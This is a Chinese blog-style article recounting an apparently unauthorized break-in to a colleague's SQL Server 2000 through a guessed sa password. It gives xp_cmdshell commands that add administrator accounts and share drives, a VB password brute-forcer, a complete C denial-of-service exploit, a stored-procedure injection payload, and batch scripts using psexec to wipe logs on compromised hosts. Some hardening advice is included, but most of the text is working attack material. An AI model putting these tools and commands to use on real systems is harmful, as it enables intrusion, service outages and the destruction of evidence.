我的一次网络入侵(SQL Server 2000)
现在不管谁的电脑上都会装一些安全软件,比如安全卫士,杀毒软件,防火墙等等,目的就是为了保护电脑不受病毒的侵害,不让自己的隐私暴露在互联网之下。可是安全软件真的完全有效吗?我们在使用电脑时,大都会安装一些应用软件,比如办公软件,游戏软件,聊天软件,财务软件,多媒体软件等等,对于我们开发人员来说还要安装很多开发环境,辅助工具。我们不能保证所有这些软件都是安全的,也不能保证开发这些软件的开发者写出的代码没有BUG,就像我们总是使用Windows操作系统而永远不能指望它没有系统漏洞一样。这篇文章要说的是我的一次网络入侵的过程。我是一名软件开发者,我的同事也是一样,电脑上安装了很多开发工具,这天我闲来无事验证了一下同事电脑的安全性。我在寻找下手点的时候发现,该电脑安装了SQL SERVER 2000服务端,这应该是个下手的好地方。随即用查询分析器进行连接,不过SA的密码我不知道,只好猜弱密码。运气真好,只猜了三次就中了,看来密码真是太弱了。如果SA密码猜不到后面的部分可就麻烦了,还得暴力破,暴力破解也不一定能保证成功,从而后面的入侵也不能保证完成,那也就没有这篇文章了。猜中以后,进行连接,进入到master数据库。现在开始就无敌了,有了SA账号相当于拥有了超级用户的权限,可以为所欲为了。先执行exec xp_cmdshell 'dir'这条语句测试一下,成功。 OK了,现在我们已经拥有了权限,想做什么都可以了。比如加一个新用户,exec xp_cmdshell 'net user master /add',用exec xp_cmdshell 'net user'查看一下是否添加成功。成功后再执行exec xp_cmdshell 'net localgroup administrators master /add',将新用户添加到管理员组。也可以执行exec xp_cmdshell 'net user guest /active:yes',启用guest账号。还可以使用net use \\127.0.0.1\ipc$,建立空链接。断开IPC连接是net use \\ip\ipc$ /del。可以随意的执行DOS命令,这样我们就满足了吗?答案是否定的。我们当然希望访问远程主机就像访问我们本地的电脑一样了。执行net share sharename=c:\命令,共享C盘,共享名是sharename。成功以后,点击开始->运行,输入\\ip\sharename, 打开共享文件夹,这样我们就成功打开对方的C盘了。剩下还能做什么?权限都有了,就看你自己了。最后别忘了清理痕迹,比如net share sharename /delete,删除共享。net user guest /active:no,禁用guest账号。net user master /del,删除用户。或者其他清理,比如系统日志。
至此,一次网络入侵完成了。是不是觉得太简单了?一切的关键就在于电脑使用者安全意识薄弱,一个具有安全隐患的主机是很容易被不法分子利用的。使用的超级管理员密码强度不高,也为入侵者提供了方便。阿东提醒您,在使用SQL SERVER开发时,请尽量安装最新的稳定版本,并且要打好补丁;管理好自己的密码不要外泄,尽量使用强度级别高的密码,防止被暴力猜解。禁用xp_cmdshell存储过程或设置执行权限,在必要时再安装回即可,防止被别有用心者利用。做了以上工作以后,系统是否就安全了呢?以上我们只是修补了SQL SERVER的一个洞,我来列举一些其他的漏洞信息:
MS09-004:Microsoft SQL Server 中的漏洞可能允许远程代码执行。
MS02-039:Microsoft SQL Server 2000 Resolution服务远程堆缓冲区溢出漏洞。
MS08-040:重要 Microsoft SQL Server 中的漏洞可能允许特权提升。
MSSQL 7.0 Remote Denial of Service Exploit。测试方法:见附录一。
MSSQL自身存储过程的注入漏洞。测试方法:见附录二。
这些只是冰山的一角,当然只要我们打好全部的补丁就可以防止针对已发现漏洞的攻击了。是不是感觉计算机安全问题任重而道远啊。
计算机安全问题是一个永远也谈论不完的话题,我们永远也不能保证机器是绝对安全的。在网上随意搜索一下就能看到最新发现的系统漏洞,我们的系统总是千疮百孔的。只是这个漏洞是否被人发现,是否被人利用,以及漏洞信息是否被公开,漏洞补丁是否被放出。计算机安全的攻与防一刻也没有停止,对安全的探索永不止步,我们一直在路上。
下面提供一段VB暴力破解SQL SERVER 2000的代码。前提是需要使用字典工具生成字典文件,要求文件名为dic.txt,并与该破解程序在同一文件夹内。这里只提供一种爆破方法,实际上我们还可以使用sniffer技术,用发送网络封包的方式进行破解。不过通过分析发送的封包发现,用户名和IP地址是明文,而密码被加密了。所以这种方式需要先了解加密方式,然后自己写一个加密函数,将我们枚举的密码进行加密,然后写进封包再发送。虽然不知道加密方式,不过可以使用替换的方式,经过分析封包,得到了基本字符对应的加密数据,如下:
1=B6 A5 2=86 A5 3=96 A5 4=E6 A5 5=F6 A5 6=C6 A5 7=D6 A5 8=26 A5 9=36 A5 0=A6 A5
a=B3 A5 b=83 A5 c=93 A5 d=E3 A5 e=F3 A5 f=C3 A5 g=D3 A5 h=23 A5 i=33 A5 j=03 A5 k=13 A5 l=63 A5 m=73 A5 n=43 A5 o=53 A5 p=A2 A5 q=B2 A5 r=82 A5 s=92 A5 t=E2 A5 u=F2 A5 v=C2 A5 w=D2 A5 x=22 A5 y=32 A5 z=02 A5
A=B1 A5 B=81 A5 C=91 A5 D=E1 A5 E=F1 A5 F=C1 A5 G=D1 A5 H=21 A5 I=31 A5 J=01 A5 K=11 A5 L=61 A5 M=71 A5 N=41 A5 O=51 A5 P=A0 A5 Q=B0 A5 R=80 A5 S=90 A5 T=E0 A5 U=F0 A5 V=C0 A5 W=D0 A5 X=20 A5 Y=30 A5 Z=00 A5
是不是很麻烦?这里就不进行讨论了。
'*************************************************************************
'**模 块 名:暴力破解SQL SERVER 2000
'**描 述:根据给出的IP地址与用户名,破解数据库密码
'**说 明:工程要引用Microsoft ActiveX Data Objects 2.5 Library
'**创 建 人:程世东
'**日 期:2011年02月14日
'*************************************************************************
Public g_conConnection As ADODB.Connection
Public g_rctRecordset As ADODB.Recordset
Public errNum As Integer
Public retStr As String
Public strTemp As String '数据库连接字符串
'联接服务器
Public Function ConnectToServer() As Boolean
On Error GoTo ON_ERROR
Set g_conConnection = New Connection
g_conConnection.ConnectionString = strTemp
' g_conConnection.ConnectionTimeout = 30
g_conConnection.ConnectionTimeout = 5
g_conConnection.Mode = adModeReadWrite
g_conConnection.Open
ConnectToServer = True
Exit Function
ON_ERROR:
If Err.Number = -2147467259 Then
retStr = "数据库错误"
ElseIf Err.Number = -2147217843 Then
retStr = "密码或用户名错误"
Else
retStr = "打开数据库错误!错误描述:" & Err.Description & vbCrLf & ";错误代码:" & Err.Number
End If
ConnectToServer = False
End Function
Public Function IpCheck(S As String) As Boolean
Dim MyPos As Integer, i As Integer, J As Integer
Dim S1 As String
If Len(S) < 7 Then
IpCheck = False
Exit Function
End If
i = 1
S1 = S + "."
For J = 1 To 4
MyPos = InStr(i, S1, ".", 1)
If MyPos = 0 Then
IpCheck = False
Exit Function
Else
If MyPos - i > 4 Then
IpCheck = False
Exit Function
Else
If Val(Mid$(S1, i, MyPos - 1 + 1)) < 0 Or Val(Mid$(S1, i, MyPos - 1 + 1)) > 255 Then
IpCheck = False
Exit Function
Else
i = MyPos + 1
End If
End If
End If
Next
IpCheck = True
End Function
Private Sub Command1_Click()
Open App.Path + "\dic.txt" For Input As #1
If IpCheck(Trim$(Text1.Text)) = True Then
ip = Trim$(Text1.Text)
End If
If ip = "" Then
Exit Sub
End If
If Trim$(Text2.Text) <> "" Then
user = Trim$(Text2.Text)
Else
Exit Sub
End If
Do Until EOF(1)
Line Input #1, pass
Label1 = pass
strTemp = "PROVIDER=SQLOLEDB;DATA SOURCE=" & ip & ";USER ID=" & user & ";PASSWORD=" & pass & ";DATABASE=master;"
If ConnectToServer = True Then
Label1 = "网络数据库连接成功!密码是:" & pass
Exit Do
Else
errNum = errNum + 1
Label2 = "错误次数:" & errNum
End If
Label1 = retStr
Loop
errNum = 0
Close #1
End Sub
/******************附录一:MSSQL 7.0 Remote Denial of Service Exploit漏洞测试方法******************/
/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
* By sending a large buffer with specified data an attacker can stop
the service
* "mssqlserver" the error noticed is different according to services'
pack but the result is always
* the same one.
* Exception Codes = c0000005
* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3
* This code is for educational purposes, I am not responsible for your acts
* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);
void main(int argc, char **argv) {
WSADATA WinsockData;
SOCKET s;
int i;
struct sockaddr_in vulh;
char buffer[700000];
for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);
if (argc!=3) {
printf(" MSSQL denial of service\n");
printf(" by securma massine\n");
printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
printf("Syntaxe: MSSQLdos <ip> <port>\n");
exit(1);
}
WSAStartup(0x101,&WinsockData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZeroMemory(&vulh,sizeof(vulh));
vulh.sin_family=AF_INET;
vulh.sin_addr.s_addr=resolv(argv[1]);
vulh.sin_port=htons(atoi(argv[2]));
if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
printf("Impossible de se connecter...le port est en generale 1433...\n");
exit(1);
}
{
send(s,buffer,sizeof(buffer),0);
printf("Data envoyes...\n");
}
printf("\nattendez quelques secondes et verifiez que le serveur ne
repond plus.\n");
closesocket(s);
WSACleanup();
}
u_long resolv(char *host_name) {
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1) {
if (!(host_ent = gethostbyname(host_name))) {
printf ("Erreur DNS : Impossible de r鳯udre l'adresse %s
!!!\n",host_name);
exit(1);
}
CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
}
return addr.s_addr;
}
/******************附录一:MSSQL 7.0 Remote Denial of Service Exploit漏洞测试方法******************/
/******************附录二:MSSQL自身存储过程的注入漏洞测试方法******************/
影响版本:
MSSQL漏洞描述:
master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。
分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。
但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句<*参考
资料提供:BCT疯子
文章组织:Neeao
首发:http://www.
*>
测试方法:
提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句,成功添加了一个名为adm安全建议:
用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如:
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,这样就不会产生注入了。
/******************附录二:MSSQL自身存储过程的注入漏洞测试方法******************/
/******************xp_cmdshell存储过程部分******************/
/******************SQL Server 2008 和 SQL Server 2005部分******************/
在 SQL Server 2008 和 SQL Server 2005 中,sp_dropextendedproc 不会删除系统扩展存储过程。但系统管理员应拒绝 public 角色对扩展存储过程的 EXECUTE 权限。sql server自身也会
用到这些扩展存储过程(例如, 修改实例的身份验证模式就要用扩展存储过程读写注册表, 用向导备份的时候, 会用扩展存储过程读取服务器的目录和文件信息), 所以删除是有危险性的(即使你
是用 sql 2000), 会导致 sql server 的一些功能不工作。
SQL Server中的cmd_shell组件功能强大,几乎可通过该组建实现Windows系统的所有功能,正因此,这个组件也是SQL Server的最大安全隐患。SQL Server 2000中这个组件是默认开启的
,而SQL Server 2005中这个组件默认作为此服务器安全配置的一部分而被关闭。有时我们需要用到该组件,开启此组件的相关语句如下:
--To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
--To update the currently configured value for advanced options.
RECONFIGURE
GO -- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
--To update the currently configured value for this feature.
RECONFIGURE
GO
为了保证数据库服务器的安全,建议在使用完毕后关闭该组件,关闭该组件的相关语句如下:
--To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
--To update the currently configured value for advanced options.
RECONFIGURE
GO -- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 0
GO
--To update the currently configured value for this feature.
RECONFIGURE
GO
如果一定要删除, 按下面的步骤进行即可(注意备份,还原的方法也就是用备份文件代替被修改的文件)(危险)
SQL code
-- 1. 得到 master 库的目录位置(记下这个目录)
SELECT
LEFT(physical_name, LEN(physical_name) - 10)
FROM master.sys.database_files
WHERE type = 0
GO
-- 2. 操作系统中打开上述目录,找到如下两个文件
mssqlsystemresource.mdf
mssqlsystemresource.ldf
将他们复制一份,改名为:
_mssqlsystemresource.mdf
_mssqlsystemresource.ldf
GO
-- 3. 回到 sql server, 执行下面的语句(语句中的目录要改成步骤1中查到的目录)
USE master
GO
-- 将下面的文件目录修改为你自己的
CREATE DATABASE _sys_resource
ON(
FILENAME = N'D:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\_mssqlsystemresource.mdf'
)
LOG ON(
FILENAME = N'D:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\_mssqlsystemresource.ldf'
)
FOR ATTACH
GO
USE _sys_resource
GO
DROP PROC sys.xp_cmdshell
GO
EXEC sp_detach_db N'_sys_resource'
GO
-- 要重启 sql 才生效,下面这句让 sql 停止
SHUTDOWN
GO
-- 4. 回到步骤 2 的目录,将下面两个文件改名以做备份
mssqlsystemresource.mdf
mssqlsystemresource.ldf
-- 5. 将下面两个文件改名,去掉前面的 _
_mssqlsystemresource.mdf
_mssqlsystemresource.ldf
-- 6. 重新启动 sql server, 再执行 xp_cmdshell, 你会发现找不到这个存储过程了
/******************SQL Server 2008 和 SQL Server 2005部分******************/
/******************SQL Server 2000部分******************/
注意:以下方法仅适用于SQL SERVER 2000。
删除方法为:
到sql server的查询分析器中,试用存储过程sp_dropextendedproc就可删除xp_cmdshell这个存储过程。
格式为:EXEC sp_dropextendedproc 'xp_cmdshell'
需要时可使用sp_addextendedproc恢复
格式为:EXEC sp_addextendedproc xp_cmdshell,'xplog70.dll'。
彻底删除SQL Server2000的xp_cmdShell扩展存贮过程
一、xp_cmdshell的删除及恢复
1、判断xp_cmdshell是否存在
(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell')
返回结果为1就ok
2、恢复xp_cmdshell的方法
删除扩展存储过过程xp_cmdshell的语句
exec sp_dropextendedproc 'xp_cmdshell'
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and
返回结果为1就ok
否则需上传c:\inetput\web\xplog70.dll后
exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:\inetput\web\xplog70.dll’;--
如果是用以下方法删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
则可以用以下语句恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
3.彻底删除xp_cmdshell扩展存储过程
使用上面介绍的删除语句后,在磁盘上找到xplog70.dll这个文件。改名或者删除这个文件。+
/******************SQL Server 2000部分******************/
/******************xp_cmdshell存储过程部分******************/
/******************彻底清除本地和远程系统日志文件******************/
一、日志文件的位置
Windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%
system32config。
安全日志文件:%systemroot%system32configSecEvent.EVT
系统日志文件:%systemroot%system32configSysEvent.EVT
应用程序日志文件:%systemroot%system32configAppEvent.EVT
有的管理员很可能将这些日志重定位(所以日志可能不在上面那些位置),其中EVENTLOG下面有很多的子表,在里面可查到以上日志的定位目录。
二、清除自己电脑中的日志
如果你要清除自己电脑中的日志,可以用管理员的身份来登录Windows,然后在“控制面板”中进入“管理工具”,再双击里面的“事件查看器”。打开后我们就可以在这里清除日志文件了,
里面有应用程序、安全和系统日志文件。举个例子,比方说你想清除安全日志,可以右键点击“安全日志”,在弹出的菜单中选择“属性”。接下来在弹出的对话框中,点击下面“清除日志”按钮
就可以清除了,如果你想以后再来清除这些日志的话,可以将“按需要改写尺寸”,这样就可以在达到最大日志尺寸时进行改写事件了,不会提示你清除日志。
三、清除远程主机上的日志
大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击),一个优秀的系统管理员会利用这点来发现入侵的企图,保护自己的系统。所以如果你是黑
客,入侵系统成功后第一件事便是清除日志,擦去自己的形迹,这时可以用以下两个办法:一是自己编写批处理文件来解决,编写一个能清除日志的批处理非常简单,方法是:新建一个具
有如下内容的批处理文件:
@del c:winntsystem32logfiles*.*
@del c:winntsystem32config*.evt
@del c:winntsystem32dtclog*.*
@del c:winntsystem32*.log
@del c:winntsystem32*.txt
@del c:winnt*.txt
@del c:winnt*.log
@del c:del.bat
把上面的内容保存为del.bat备用。在上面的代码中echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,另外del命令大家一定清楚吧
?它是删除文件命令。
接下来再新建一个批处理文件,内容如下:
@copy del.bat %1c$
@echo 向肉鸡复制本机的del.bat……OK
@psexec %1 c:del.bat
@echo 在肉鸡上运行del.bat,清除日志文件……OK
保存为clean.bat即可,假设已经与肉鸡进行了IPC连接,然后在CMD下输入:clean.bat 肉鸡IP,即可清除肉鸡上的日志文件。
清除日志的另外一个方法是借助第三方软件,如著名黑客软件流光的开发者黑客小榕的elsave.exe,就是是一款可以远程清除系统日志、应用程序日志、安全日志的软件,大家可以在网
上下载到。elsave.exe使用起来很简单,首先利用获得的管理员账号与对方建立IPC会话:net use \ip pass /user: user,然后在命令行下执行如下命令:elsave -s \ip -l application -C,这样
就删除了安全日志。
更详细的清除系统日志请看《对Windows下日志清理的一些总结》
网址:http://www.
/******************彻底清除本地和远程系统日志文件******************/